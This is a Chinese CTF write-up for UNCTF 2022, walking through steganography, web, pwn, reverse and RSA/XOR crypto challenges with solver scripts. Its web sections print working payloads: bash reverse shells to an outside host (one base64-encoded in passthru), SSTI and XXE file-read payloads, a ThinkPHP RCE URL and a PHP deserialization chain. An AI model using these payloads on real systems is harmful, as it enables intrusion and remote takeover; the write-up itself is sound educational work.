前言
什么事物都会迎来终结,CTF 也一样,这就该写 UNCTF 的 WP 了吧~ 没用的自我介绍留到最后了,那就直入正题吧~
队名:色图队 校内
篇幅比较长,先来听听歌吧,写 CTF 的时候循环听的~
https://music.163.com/playlist?id=7712328155&userid=1537501113
怎么样才能交到一个女朋友呢
用到的工具
always use the right tool for the right job
这次各种工具用的超爽,各种 Google 抄别人解法~
- Google / Baidu
- binwalk / Stegsolve / zsteg
- cyberchef
- dirsearch / sqlmap
- Advanced Archive Password Recovery
- upx / IDA 7.7
- UsbKeyboardDataHacker
- WinHex
- VSCode / Visual Studio / Python
- Bandizip / PeaZip
- 记事本 / 计算器
- Windows Terminal / Xshell
- 一台 Windows 10 实机 / 一台 Ubuntu 实机 / 一台 kali 虚拟机 / 一台腾讯云 HK Ubuntu (反弹 shell 用)
- 舍友 / 群友(社工那道题)
- 网易云音乐 / 焦糖瓜子
来份炸鸡先:
Misc-简单部分
magic_word
打开发现长这样:
把 Webdings 字体调正常发现没什么作用,复制到 VSCode 看看
Google 零宽字符隐写得到工具,复制进去就是答案。
PS:写 WP 的时候怎么都得不到正确答案,把 docx 解压了之后拿到 document.xml 才对了
社什么社
拿到不知道是啥编码,猜想是字符画,写了个脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var image = new MagickImage(MagickColors.Black, 400,182);
var lines = File.ReadAllLines(@"C:\Users\cyl18\Downloads\flag.txt");
for (var y = 0; y < lines.Length; y++)
{
var line = lines[y];
for (var x1 = 0; x1 < line.Length; x1++)
{
if (line[x1] == '_')
{
image.GetPixels()[x1, y].SetChannel(0, 255);
image.GetPixels()[x1, y].SetChannel(1, 255);
image.GetPixels()[x1, y].SetChannel(2, 255);
}
}
}
image.Write(@"C:\Users\cyl18\Downloads\haha.png");
得到:
猜不出来是啥。
题目说社工嘛,我就拿到几个群去问,结果发生了这样的事情:
果真是社工啊。
找得到我吗-一血
拿到一个 docx,发现是白色字体,调成黑色也看不出什么来;
由于 docx 本质是压缩包,所以解压;
搜索 flag 得到结果:
syslog
拿到两个文件,一个加密的 zip,一个 syslog:
看了好久看不出什么花样,想了一会搜索字符串password
:
base64 解码后便是压缩包的密码,里面就是 flag。
In_the_Morse_Garden
拿到一个 pdf 文件。没找出啥,想了好久,找到工具 pdftotext
,解码后:
删换行符使用 VSCode 正则替换 \n
base64 解码后得到:
猜想是 0 和 1,替换后又想到了题目的 morse,于是是摩尔斯电码,解码即可得到 flag。
百度的前几个摩尔斯电码解码工具不靠谱,解不出正确结果,cyberchef 真滴好用
zhiyin
拿到三个文件:flag.zip,lanqiu.jpg,zhiyin.png
先处理 lanqiu.jpg,看了看文件尾
好像是倒过来了,用一行脚本:
1
File.WriteAllBytes(@"lanqiu1.jpg", File.ReadAllBytes(@"lanqiu.jpg").Reverse().ToArray());
得到:
zhiyin.png 丢进 zsteg 得到:
解码得到:_UNC7F!!!
最后是 flag.zip,打开发现文件损坏,丢进 WinHex 得到:
把 PH 换成 PK,解压,把上面两段密码拼起来就行。
写 wp 的时候那个 Go-play 怎么试都试不出来,记不到当时尝试了多少种组合出来的了 看了看别的师傅的 wp,unc7f 是小写(因为摩尔斯电码不带大小写的),前段是 Go_p1ay
清河fan
我都不知道清河,太久不看 B 站不关注国内艺人了
解开得到:
zsteg 得到密码:
wav 文件用 audacity 打开:
易知是 sstv,一种常用的无线电调频传输图像的格式,Google 得到解码工具,解码后得到:
解开压缩包得到:
零宽字符隐写解码得到 flag。
来个黄焖鸡:
Web-简单部分
ezgame
谁会不开挂打游戏啊(
打开 Chrome Debugger,通过 onclick
找到事件处理函数,往上面翻了翻找到 useCard()
函数,在 597 行下断点:
看到有个 s.GameVars.cardDmg
,随便打了一张卡触发断点,控制台打:
1
s.GameVars.cardDmg = 6966
完事。
我太喜欢bilibili大学啦
发现是一个 phpinfo 文件,参考这么多人做出来了,于是 Ctrl+F Flag:
完事了捏。
签到
看注释发现:
登进去提示登录成功,然后就没线索了;
第二天想爆破学号:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var hc = new HttpClient();
for (int i = 20200101; i < 20300101; i++)
{
var res = hc.PostAsync("http://2bb5f623-30d9-4a20-8b6a-0ad6ebad4dfa.node.yuzhian.com.cn/index.php",
new FormUrlEncodedContent(new[]
{
new KeyValuePair<string, string>("username",i.ToString()),
new KeyValuePair<string, string>("password", i.ToString()),
new KeyValuePair<string, string>("submit","Submit"),
})).Result.Content.ReadAsStringAsync().Result;
res = res.Substring(res.LastIndexOf(">") + 1).Trim();
if (res != "登录成功")
{
Console.Write(res);
}
}
于是得到 flag。
babyphp
POC:
解释:
- a:随便 Google 一下
- key1&key2:php 的弱比较 不是 === 的话 0e 开头的字符串会以数字进行比较,然后随便搜个字符串
- code:八进制绕过正则匹配
其实我自己幕后试了很久的啦,从来没写过 PHP 哦~
好像我第一次做用的是反弹 shell
POC:passthru(base64_decode("YmFzaCAgLWMgImJhc2ggLWkgPiYgL2Rldi90Y3AvY3lhbi5jYWZlLzE5MDAwICAwPiYxIg=="));
base64 还特意魔改过,原来直接出来有 CAT 和加号,给内容加了点空格就没了
我太喜欢bilibili大学啦修复版
hint_1:
base64 解码得到 admin_unctf.php
,打开:
chrome debugger network 标签页看到:
解码是用户名和密码,登录看到:
服务端:
1
socat TCP-LISTEN:19000 -
chrome 设置 cmd cookie 为:
1
|| bash -c "bash -i >& /dev/tcp/cyan.cafe/19000 0>&1"
反弹 shell (第一次反弹 shell 成功好爽哦)
然后在反弹的 shell 里 cat /flag
~
302与深大
首先 dirsearch:
找到个 Dockerfile,访问得到 flag 的一部分;
里面的内容:
1
2
3
4
5
6
FROM php:7.4-apache
COPY . /var/www/html
WORKDIR . /var/www/html
ENV flag "miku_micgo_qka_WEB_GOD}"
RUN /bin/bash -c 'rm -rf /var/www/html/dockerfile'
EXPOSE 80
看网页:
试了好久~没试出方法,突然想到用 curl:
这就是 flag 的另一部分。
给你一刀
Google 搜到一篇 https://www.freebuf.com/column/222641.html
POC:
1
index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
在输出的 phpinfo 中就能找到 flag。
听说php有一个xxe
dirsearch 搜到有个 dom.php;
Google 搜索 xxe,试了很多种 POC,最后使用这篇的:
1
2
3
4
5
6
7
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
直接 POST 上去就行,记得请求内容类型选 XML
来个披萨:
Pwn-简单部分
welcomeUNCTF2022
IDA 打开:
nc 连接后直接打 UNCTF&2022
就能得到 flag。
石头剪刀布
IDA 打开:
发现有个 srand,里面填了个定值,于是是伪随机;
写了个小脚本
1
2
3
4
5
6
7
8
9
#include <stdio.h>
#include <stdlib.h>
int main()
{
srand(0xAu);
//printf("%d", rand());
for (int i = 0; i<100; i++) printf("%d\n",(rand()-1) % 3);
}
1
2
gcc a.c
./a.out
然后 nc 连接我手动输入进去得到答案。
来碗拉面~
Reverse-简单部分
whereisyourkey
先把这堆转成了 string:
然后写了个脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
var c = "vgpkcmhnci".ToCharArray();
for (int i = 0; i < c.Length; i++)
{
var ch = c[i];
if (ch == 109)
goto end;
if (ch <= 111)
{
if (ch <= 110)
ch = (char)((int)ch -2);
}
else
{
ch = (char)((int)ch +3);
}
end:
c[i] = ch;
}
Console.Write(new string(c));
ezzzzre
拖进 IDA:
看到好像是 upx 的东西,于是用 upx 解包:
看到:
这是之前/之后某道题的做法 忘了是哪道题 发现好像输入跟输出没什么关系,于是想到直接修改条件跳转; 找到一篇文章
脚本:
1
2
3
4
5
6
7
8
var s = "HELLOCTF".ToCharArray();
for (int i = 0; i < 8; i++)
{
var c1 = s[i];
s[i] = (char)(int)(c1 * 2 - 69);
}
new String(s).Print();
来份意大利面~~
Crypto-简单部分
md5-1
拿到一堆 md5,百度找到个 md5 批量解码工具
直接得到结果。
dddd
猜想是摩尔斯电码,把1
替换成_
,把0
替换成.
,把/
替换成
,或者反过来。
然而我百度找到的几个摩尔斯电码解码工具都没用。。最后用的 cyberchef,拖进去就行、
caesar
凯撒加密,写了个脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var d = "B6vAy{dhd_AOiZ_KiMyLYLUa_JlL/HY_}";
var table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
for (int i = 0; i < 64; i++)
{
var charArray = d.ToCharArray();
for (var i1 = 0; i1 < charArray.Length; i1++)
{
var ca = charArray[i1];
var index = (table.IndexOf(ca) + i) % 64;
if (ca != '_' && ca != '{' && ca != '}')
{
charArray[i1] = table[index];
}
}
Console.WriteLine(new string(charArray));
}
题目一开始得删了最后的下划线才能交,暴打出题人
Single table
查到是 playfair 加密,解密器
试了好久 cipher,最后发现把题目给的那堆字母里面的 PLAY 扔到最后面就是 cipher。
md5-2
打开文件代码:
代码看到异或了一下,写个脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var path = @"out.txt";
var file = File.ReadAllLines(path);
var list = new List<string>();
list.Add(file.First());
file = file.Skip(1).ToArray();
foreach (var s in file1.Where(l => l.NotNullNorWhiteSpace()))
{
var i1 = BigInteger.Parse(s, NumberStyles.HexNumber);
var i2 = BigInteger.Parse(list.Last(), NumberStyles.HexNumber);
list.Add((i1 ^ i2).ToString("x"));
}
foreach (var s in list)
{
Console.WriteLine(s);
}
丢进上面的 md5 批量解码工具:
用 VSCode 替换功能,把前面都删掉,得到 flag。
babyRSA
Google 搜了好久,找到一篇博文,已知 m 高位
POC:
把原文的
m^3
修改为m^6
,因为这里e
是6
1
2
3
4
5
6
7
8
9
10
11
def phase2(high_m, n, c):
R.<x> = PolynomialRing(Zmod(n), implementation='NTL')
m = high_m + x
M = m((m^6 - c).small_roots()[0])
print(hex(int(M))[2:])
n = 25300208242652033869357280793502260197802939233346996226883788604545558438230715925485481688339916461848731740856670110424196191302689278983802917678262166845981990182434653654812540700781253868833088711482330886156960638711299829638134615325986782943291329606045839979194068955235982564452293191151071585886524229637518411736363501546694935414687215258794960353854781449161486836502248831218800242916663993123670693362478526606712579426928338181399677807135748947635964798646637084128123883297026488246883131504115767135194084734055003319452874635426942328780711915045004051281014237034453559205703278666394594859431
c = 15389131311613415508844800295995106612022857692638905315980807050073537858857382728502142593301948048526944852089897832340601736781274204934578234672687680891154129252310634024554953799372265540740024915758647812906647109145094613323994058214703558717685930611371268247121960817195616837374076510986260112469914106674815925870074479182677673812235207989739299394932338770220225876070379594440075936962171457771508488819923640530653348409795232033076502186643651814610524674332768511598378284643889355772457510928898105838034556943949348749710675195450422905795881113409243269822988828033666560697512875266617885514107
high_m = 11941439146252171444944646015445273361862078914338385912062672317789429687879409370001983412365416202240
phase2(high_m, n, c)
需要丢到 sage 里执行。
easy_RSA
同上面一篇博文
POC:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
n=102089505560145732952560057865678579074090718982870849595040014068558983876754569662426938164259194050988665149701199828937293560615459891835879217321525050181965009152805251750575379985145711513607266950522285677715896102978770698240713690402491267904700928211276700602995935839857781256403655222855599880553
p4=8183408885924573625481737168030555426876736448015512229437332241283388177166503450163622041857
e=0x10001
pbits=512
kbits=pbits - p4.nbits()
print(p4.nbits())
p4 = p4 << kbits
PR.<x> = PolynomialRing(Zmod(n))
f = x + p4
roots = f.small_roots(X=2^kbits,beta=0.4)
# 经过以上一些函数处理后,n和p已经被转化为10进制
if roots:
p= p4 + int(roots[0])
print ("n",n)
print ("p",p)
print ("q",n/p)
也是需要丢到 sage 里执行。
算出 pq 后丢到 RsaCtfTool 里面解密就行。
ezRSA
直接用 RsaCtfTool:
1
./RsaCtfTool.py -n 62927872600012424750752897921698090776534304875632744929068546073325488283530025400224435562694273281157865037525456502678901681910303434689364320018805568710613581859910858077737519009451023667409223317546843268613019139524821964086036781112269486089069810631981766346242114671167202613483097500263981460561 -e 65537 --uncipher 56959646997081238078544634686875547709710666590620774134883288258992627876759606112717080946141796037573409168410595417635905762691247827322319628226051756406843950023290877673732151483843276348210800329658896558968868729658727981445607937645264850938932045242425625625685274204668013600475330284378427177504 -q 89065756791595323358603857939783936930073695697065732353414009005162022399741 --dumpkey
发现解不出来,是乱码:
于是 dumpkey 出来,试了试 pq 互换了一下,用源代码改了改解:
1
2
3
4
5
6
7
8
9
10
11
12
import libnum
p=89065756791595323358603857939783936930073695697065732353414009005162022399741
e=65537
n=p**4
phi_n=p**4-p**3
d=libnum.invmod(e,phi_n)
n = 62927872600012424750752897921698090776534304875632744929068546073325488283530025400224435562694273281157865037525456502678901681910303434689364320018805568710613581859910858077737519009451023667409223317546843268613019139524821964086036781112269486089069810631981766346242114671167202613483097500263981460561
c = 56959646997081238078544634686875547709710666590620774134883288258992627876759606112717080946141796037573409168410595417635905762691247827322319628226051756406843950023290877673732151483843276348210800329658896558968868729658727981445607937645264850938932045242425625625685274204668013600475330284378427177504
r = libnum.n2s(pow(c,d,n))
得到了 flag~
来份烤鸭饭
Web-困难部分
easy ssti
发现是 python ssti,从网上随便找了点 POC:
Google 搜了好久好久不用 class 的 SSTI 捏,最后找到这篇:
1
2
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
直接 cat /flag.txt
得到
由于每次浏览器都得访问一遍返回,感觉太慢,于是写了个脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
while (true)
{
var hc = new HttpClient();
var line = Console.ReadLine();
var postAsync = hc.PostAsync("http://0192eee3-e213-4813-9d88-4dc5cde02e40.node.yuzhian.com.cn/register", new FormUrlEncodedContent(new List<KeyValuePair<string, string>>()
{
new KeyValuePair<string, string>("user", $"{{{{request.application.__globals__.__builtins__.__import__('os').popen('{line}').read()}}}}"),
new KeyValuePair<string, string>("pwd", ""),
}));
var result = postAsync.Result.Content.ReadAsStringAsync().Result;
result = result.Substring(result.IndexOf("你好") + 3).Split("<br>")[0];
result.Print();
}
各种 ls cat 找文件都无果。。
突发奇想可能在环境变量里,Google 搜索 how to show linux environment variables
,告诉我用env
命令,于是:
done。
babynode
看到:
Google 搜索 node对象污染
,随便找篇文章
请求记得选 JSON 格式,不然无效
ezunseri
第一天写的时候,现学了一个小时 PHP:
1
2
3
4
5
6
$jack=new Login();
$jack->code = '3.1415926';
$jack->key = new Login();
$jack->key->name = new Test();
$jack->key->name->test=new Exec();
$jack->key->name->test->content="system('cat /flag');";
怎么都出不来结果,第二天想是不是原型链构造错了,于是总 POC:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
class Exec
{
public $content;
public function execute($var){
eval($this->content);
}
public function __get($name){
echo $this->content;
}
public function __invoke(){
$content = $this->execute($this->content);
}
public function __wakeup()
{
$this->content = "";
die("1!5!");
}
}
class Test
{
public $test;
public $key;
public function __construct(){
$this->test = "test123";
}
public function __toString(){
$name = $this->test;
$name();
}
}
class Login
{
public $name;
public $code = " JUST FOR FUN";
public $key;
public function __destruct(){
if($this->code = '3.1415926'){
return $this->key->name;
}
}
}
$jack=new Login();
$jack->code = '3.1415926';
$jack->key = new Exec();
$jack->key->content = new Test();
$jack->key->content->test=new Exec();
$jack->key->content->test->content='system(\'bash -c "bash -i >& /dev/tcp/cyan.cafe/19000 0>&1"\');';
echo (serialize($jack));
$r = serialize($jack);
unserialize($r);
序列化后把 Exec 后面的 1 改成 2 来绕过 __unwake
用的 反弹 shell 哈哈,学会了就一直想用
另外 php eval 的时候最后必须得加分号,这个试了好久才试出来(
需要解释的话随便百度 PHP 反序列化漏洞和绕过 __wakeup 都有了
最后在反弹的 shell 里 cat /flag
.
随便注
直接 query 传 id 发现:
第一天用 sqlmap 随便跑了跑,发现出不来;
第二天又加大力度尝试 --level=5
发现三种注入方式
dump 到 ctftraining table:
正当我快放弃在慢慢 dump mysql table 时,想到题目的随便注
和Flag is in the database but not here
,猜想能不能通过 sql 拿到 shell?
Google 了一下还真能。使用--os-shell
参数
cat /flag
。
ez2048
打开 chrome debugger 发现被断点,右键设置不在此处断点:
看到 checkInvited
的代码,写了一段脚本:
看到源码 想先把 i 和 i-1 的值算出来
也就是先从奇数项开始
偶数项 由于 js [-1] 得到的是 undefined 也就是 0,所以 i == 1 特殊处理
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
BigInteger b = (BigInteger)68 + ((BigInteger)51 << (int)1 * 8) + ((BigInteger)15 << (int)2 * 8) + ((BigInteger)80 << (int)3 * 8) + ((BigInteger)0x0e5d << (int)4 * 8)
+ ((BigInteger)0x323a << (int)6 * 8)
+ ((BigInteger)0x3058 << (int)8 * 8)
+ ((BigInteger)0x1a2a << (int)10 * 8)
+ (((BigInteger)0x0512160d) << (int)12 * 8)
+ (((BigInteger)BinaryPrimitives.ReverseEndianness(0x02560002)) << (int)16 * 8)
+ (((BigInteger)BinaryPrimitives.ReverseEndianness(0x130000)) << (int)20 * 8);
var a1 = new byte[24];
for (int i = 0; i < 24; i++)
{
if ((i % 2) != 0)
{
byte c1 = (byte)((b >> (i * 8)) & (BigInteger)0xff);
byte c2 = 0;
if (i == 1)
{
c2 = (byte)((b >> ((i - 2) * 8)) & (BigInteger)0xff);
a1[i] = (byte)(c1);
}
else
{
a1[i] = (byte)(c1 ^ a1[i - 2]);
}
}
}
a1.Print();
这是第一步的脚本;
第二步算剩下的部分:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
var sg =
"[\r\n \"\\u0000\",\r\n \"3\",\r\n \"\\u0000\",\r\n \"c\",\r\n \"\\u0000\",\r\n \"m\",\r\n \"\\u0000\",\r\n \"_\",\r\n \"\\u0000\",\r\n \"o\",\r\n \"\\u0000\",\r\n \"u\",\r\n \"\\u0000\",\r\n \"c\",\r\n \"\\u0000\",\r\n \"f\",\r\n \"\\u0000\",\r\n \"0\",\r\n \"\\u0000\",\r\n \"2\",\r\n \"\\u0000\",\r\n \"!\",\r\n \"\\u0000\",\r\n \"!\"\r\n]".JsonDeserialize<char[]>();
BigInteger b = (BigInteger)68 + ((BigInteger)51 << (int)1 * 8) + ((BigInteger)15 << (int)2 * 8) + ((BigInteger)80 << (int)3 * 8) + ((BigInteger)0x0e5d << (int)4 * 8)
+ ((BigInteger)0x323a << (int)6 * 8)
+ ((BigInteger)0x3058 << (int)8 * 8)
+ ((BigInteger)0x1a2a << (int)10 * 8)
+ (((BigInteger)0x0512160d) << (int)12 * 8)
+ (((BigInteger)BinaryPrimitives.ReverseEndianness(0x02560002)) << (int)16 * 8)
+ (((BigInteger)BinaryPrimitives.ReverseEndianness(0x130000)) << (int)20 * 8);
for (int i = 0; i < 24; i++)
{
if ((i % 2) == 0)
{
byte c1 = (byte)((b >> (i * 8)) & (BigInteger)0xff);
byte c2 = 0;
sg[i] = (char)(c1 ^ sg[i+1]);
}
}
sg.Select(x => (char)x).ToJsonString().Print();
new String(sg).Print();
完蛋了 写 wp 的时候叫我看五天前写的脚本看不懂了怎么办((
得到邀请码,然后就该玩 2048 了;
众所周知玩游戏不开挂是不道德的,于是在 337 行打上断点:
控制台打 tile.value = 1024
完事。
至此 web 题画上完美句号。
再来份黄焖鸡!
Reverse-困难部分
ezast
真的挺 ez 的,就是读起来太麻烦;
AST,抽象语法树,我找到个工具 https://github.com/duaraghav8/soltar,但是没去用;
打开那个文件,先用正则替换把碍眼的 start 和 end 删掉:
然后 AST 文件大概长这样:
在班会课上慢慢一行一行读(有点英语+编程水平就能读懂这个 JSON 吧),尝试翻译代码:
于是写了个脚本来解码:
1
2
3
4
foreach (var c in "OTYN\\a[inE+iEl.hcEo)ivo+g".ToCharArray())
{
Console.Write((char)(c ^ 26));
}
完工~
来个韭菜水饺
Crypto-困难部分
Multi table
尝试直接写代码逆向解码:
但是怎么试都不行,去问出题人:
于是:
keys 是用明文攻击试出来的,明文是 UNCTF 嘛
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
var mb = new[]
{
'J', 'X', 'I', 'S', 'E', 'C', 'R', 'Z', 'L', 'U', 'K', 'Q', 'Y', 'F', 'N', 'V', 'T', 'P', 'O', 'G', 'A', 'H', 'D', 'W', 'M', 'B'
}.ToList();
var mb2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZ".ToCharArray().ToList();
//var mbs = new List<char[]>();
var mbs = new char[26][];
for (int i = 0; i < 26; i++)
{
mbs[i] = (mb2.Skip(i).Take(26 - i).Concat(mb2.Take(i)).ToArray());
}
//var keys = new int[4] {20, 8, 0, 3};
var keys = new int[4] {9, 15, 23, 16};
var x111 = 0;
var str = "SDCGW{MPN_VHG_AXHU_GERA_SM_EZJNDBWN_UZHETD}";
foreach (var ca in str)
{
if (!char.IsLetter(ca))
{
Console.Write(ca);
}
else
{
var table1 = mbs[keys[(x111) % 4]];
x111++;
for (int i = 0; i < 26; i++)
{
if (table1[i] == ca)
{
Console.Write(mb[i]);
}
}
// 明文攻击 key 的代码,UNCTF相应在上方 str 调用 .Skip(0) 1 2 3
// for (int i = 0; i < 26; i++)
// {
// var table1 = mbs[i];
// if ((mb[table1.ToList().FindIndex(x => x == ca)]) == 'U')
// {
// Console.WriteLine(i);
// }
// }
}
}
ezxor
Hint: 你知道多次一密吗?
Google 多次一密,搜了半个多小时,最后使用关键词many time pad attack github
,搜出来个脚本,用了用不太行:
找到另一个脚本
填词游戏.. 先随便填了几个
填不出来,问问 GitHub Copilot:
哦,是 darkness
最后填完,得到 key,16 进制解码:
Today_is_Thursday_V_me_50
【关于本科生自愿返乡的相关通知】因天津疫情局势紧张,住校生管理难度加大,学生健康安全受到严重影响,学校再三斟酌,现允许20,21,22本科生返乡进行线上课程。时间安排:自愿返乡的同学需在今日晚22点前v我50进行预约。
非常明显,TOPIC
就是文件名 Today_is_Thursday_V_me_50
,都是 25 位;
也是试了好久都试不出, pycrypto 这个库也挺老了,Windows 老是装不上;
主要思路是把
x = encrypt_2(encrypt_1(flag,name),key1_num)
换为
encrypt_1(encrypt_2(flag, key1_num), name)
因为 xor 是对称的,加密就是解密;
最后的 POC:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import random
import itertools
from Crypto.Util.number import *
from Crypto.Util.strxor import strxor
def xor(a, b):
return "".join([chr(ord(x) ^ ord(y)) for (x, y) in zip(a, b)])
flag = b'Q\x19)T\x18\x1b(\x03\t^c\x08QiF>Py\x124DNg3P'
name = "unctf"
key1 = "Today_is_Thursday_V_me_50"
key1_num = 530007872419584476649862008487908643412379763189507583587632
def encrypt_1(message,name):
res = message
guess=[i for i in itertools.permutations(name, 5)]
for i in range(4):
what = guess.pop(50)
name = ''.join(j for j in what)
mask = strxor(5*name.encode(),key1.encode())
res = strxor(mask,message)
return res
def encrypt_2(message,num):
random.seed(num)
res_2 = b''
for i in message:
temp_num = random.randint(1,128)
print(i)
res_2 += long_to_bytes(temp_num ^ i)
return res_2
if __name__ == '__main__':
x = encrypt_2(encrypt_1(flag,name),key1_num)
print(x)
print(encrypt_1(encrypt_2(flag, key1_num), name))
先用工具把 key1 转成了数字,因为好像哪里有点问题
另外给某些地方加了点
.encode()
其实做了几遍都没出 不知道哪里 encode 有问题,最后才出
来碗~泡面!
Misc-困难部分
剥茧抽丝-一血
第一个压缩包的密码就是注释,解压得到:
1.txt 打开发现是零宽,删去零宽后发现文件大小与 flag.zip 里的 2.txt 大小相同,于是使用 APCHPR 明文攻击得到最后一个文件:
后面搞忘了,五天前写的了,想起来补上(一血的题都忘了)
想起来了,去零宽字符隐写,把那堆字丢进去,用下面的 binary 功能,下载 hidden data,得到的就是解压密码。
MY PICTURE
打开发现一个没有扩展名的文件,看了看是 zip,打开:
dat 丢到 cyberchef,使用 intensive magic 功能:
看到有个像压缩包的东西,保存;
里面是一个 encode.py
写了个脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
var image2 = new MagickImage(MagickColors.Black, 787, 1200);
var image3 = new MagickImage(@"flag.png");
for (int i = 0; i < 787; i++)
{
for (int j = 0; j < 1200; j++)
{
var pixel = image3.GetPixels()[(i * 787 + j) / 1200, (i * 787 + j) % 1200];
var r11 = pixel.GetChannel(2);
var g11 = pixel.GetChannel(1);
var b11 = pixel.GetChannel(0);
b11 = (byte)(b11 ^ r11);
g11 = (byte)(g11 ^ b11);
r11 = (byte)(r11 ^ g11);
var pixel1 = image2.GetPixels()[i,j];
pixel1.SetChannel(0, r11);
pixel1.SetChannel(1, g11);
pixel1.SetChannel(2, b11);
}
}
image2.Write(@"1.png");
得到一张色图:
CatchJerry-一血
拿到看到是个 pcap 包,看了看可能是鼠标键盘流量,使用工具,试了试不管用,换了个工具
前面一堆乱码,后面一个 andbest,解不出来了。
第二天猜想可能有鼠标流量,使用 UNCTF2020WP 的鼠标脚本: https://as1def.github.io/2020/11/16/UNCTF2020%E5%85%AC%E5%BC%80%E8%B5%9BWP/
得到:
plot 运行的时候有点问题,自己写了个画图脚本:
1
2
3
4
5
6
7
8
9
10
11
12
var image22 = new MagickImage(MagickColors.Black, 4000, 4000);
var file = File.ReadAllLines(@"result.txt");
foreach (var s1 in file)
{
var sp = s1.Split(' ');
var x1 = sp[0].ToInt() / 2 + 2000;
var y = sp[1].ToInt() / 10 + 2000;
image22.GetPixels()[x1, y].SetChannel(0, 255);
image22.GetPixels()[x1, y].SetChannel(1, 255);
image22.GetPixels()[x1, y].SetChannel(2, 255);
}
image22.Write(@"haha1.png");
得到:
和上面的 andbest 拼起来就是 flag 了~
没活了,来点色图
没写出来的题
poppop
写了个 pop 链,感觉跟 easyseri 差不多,但是出不来结果
easy_rce
这怎么把什么都过滤了呀,根本想不出
世界和平
sqlmap 出不来
sqlsql
这题啥时候上的附件,是结束之后吗(
快乐三消
还特意去写了个 selenium 脚本打,打完了也没结果
dirsearch 搜到 admin 和 .git,git 恢复出来也没用,还看到个 sql 日志,没思路了
再来张色图
nanoNumble
这个题真的写的我很开心,花了四个小时写出代码,后面还写了树优化,但是还是没出…可以在这里看代码:https://github.com/Cyl18/NumberCracker/blob/master/NumberCracker/SolverCore.cs;
1 输出的是 rick roll(想打人)
2 输出的是 flag 的随机打乱部分
3 就出不来了,算法太垃圾,没有办法保证一定 5 步内出结果
无用的悲情个人介绍
这是我第三次参加类 CTF 的东西了吧,说实话就像打解谜游戏一样好玩~
第一次 Mirai 解谜 https://zhuanlan.zhihu.com/p/166448741
第二次 SWCTF 2022 拿了个第一 虽然也菜死了 https://blog.cyan.cafe/posts/swctf-2022-wp/
我很喜欢那种沉浸在一件事情的感觉,除了吃饭睡觉都是干这个,熬到困到不行才睡;写项目的时候就会这样
不过说实话真的很好玩,那种做出题的兴奋震惊,在其它地方体验不到~
这几天,每天都觉得第二天写不出题来,结果还是写出来了(
本来我再努努力的话,pwn 和 reverse 其实还可以再写几道题的,不过最后一天去肝 nanoNumble 去了(
写 wp 时候的任务栏:
Chrome标签页:
但是其实有时候会感觉 CTF 没那么好玩,比如 PHP 反序列化绕过,用的是个 2016 的 CVE,现实中早就不会出现了,就感觉很无聊,都是那些套路,但是真正难的 CTF 做不来
其实拿到一道题会尝试很多东西,并没有上面解题思路那么通透,比如 Web 题会先来个 dirsearch 和 sqlmap,Misc 题会跑 binwalk 和 zsteg,遇到 png 会 tweakpng 改长度,遇到压缩包还会尝试爆破数字,遇到看不懂的东西丢到 cyberchef magic..
然后感觉写 wp 意义比较小…因为大家都写过,自己做出来的题又比较简单…
有时候会觉得自己菜,是脚本小子,什么都不会,你看我是写 C# 的,不是标准 ctfer 那样用 python 解决问题,就不是专业 ctfer,但是放眼学校我又是排名前列,我强吗,说不定别人像我这样花全天时间努力 Google 写题也能达到这个排名…
想起我上次参加 ctf 连 wp 这个词的意思都不知道是什么,去问(
还有就是感觉不是第一的 wp 都没人看吧~
我的朋友一个两个都比我强,强的那个也说 TA 天天焦虑自己菜(
平时喜欢写点小程序,自动抢课,自动签到什么的
还是找不到自己的方向吧~ 怎么样才能交到女朋友呢~
wp 差不多写了 6 个小时吧
结语
这次真的很开心~
再再再来张色图